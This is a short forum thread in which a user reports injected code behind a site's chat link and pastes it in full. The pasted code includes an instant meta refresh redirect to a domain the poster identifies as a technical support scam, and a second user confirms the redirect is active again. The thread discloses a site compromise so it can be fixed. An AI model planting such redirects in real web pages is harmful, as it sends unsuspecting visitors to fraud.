Page 1 of 1 [ 2 posts ]
19 Dec 2018, 8:13 am
The chat link located at the bottom of the web-page
contains the following code:
Code:
<p><center><script language="javascript">// <![CDATA[
document.write('<scr'+'ipt language=javascript src="http://a.tribalfusion.com/j.ad?site=WrongPlanetnet&#038;adSpace=ROS&#038;size=468x60&#038;type=horiz&#038;noAd=1&#038;pop=0&#038;requestID='+((new Date()).getTime() % 2147483648) + Math.random()+'"></scr'+'ipt>');
// ]]></script></center></p>
<noscript>
<a href="http://a.tribalfusion.com/i.click?site=WrongPlanetnet&#038;adSpace=ROS&#038;size=468x60&#038;requestID=512524722" target=_blank><br />
<img src="http://a.tribalfusion.com/i.ad?site=WrongPlanetnet&#038;adSpace=ROS&#038;size=468x60&#038;requestID=512524722"
width=468 height=60 border=0 alt="Click Here"></a><br />
</noscript>
<p></p>
<p><br />
<script>// <![CDATA[
GA_googleFillSlot("1x1");
// ]]></script></p>
<p><meta http-equiv="refresh" content="0; URL=http://j4dsmwjx.apagahostingns.info"> </p>
document.write('<scr'+'ipt language=javascript src="http://a.tribalfusion.com/j.ad?site=WrongPlanetnet&#038;adSpace=ROS&#038;size=468x60&#038;type=horiz&#038;noAd=1&#038;pop=0&#038;requestID='+((new Date()).getTime() % 2147483648) + Math.random()+'"></scr'+'ipt>');
// ]]></script></center></p>
<noscript>
<a href="http://a.tribalfusion.com/i.click?site=WrongPlanetnet&#038;adSpace=ROS&#038;size=468x60&#038;requestID=512524722" target=_blank><br />
<img src="http://a.tribalfusion.com/i.ad?site=WrongPlanetnet&#038;adSpace=ROS&#038;size=468x60&#038;requestID=512524722"
width=468 height=60 border=0 alt="Click Here"></a><br />
</noscript>
<p></p>
<p><br />
<script>// <![CDATA[
GA_googleFillSlot("1x1");
// ]]></script></p>
<p><meta http-equiv="refresh" content="0; URL=http://j4dsmwjx.apagahostingns.info"> </p>
The meta refresh URL re-direction was linking to the following
Indian technical support scam:
Currently the URL is returning an HTTP 500 error, but this code needs removal
before it’s re-activated.
20 Dec 2018, 9:12 am
I couldn't help but click on the chat link 
It's currently redirecting so I think it's been reactivated
I get this with a scary recorded message 
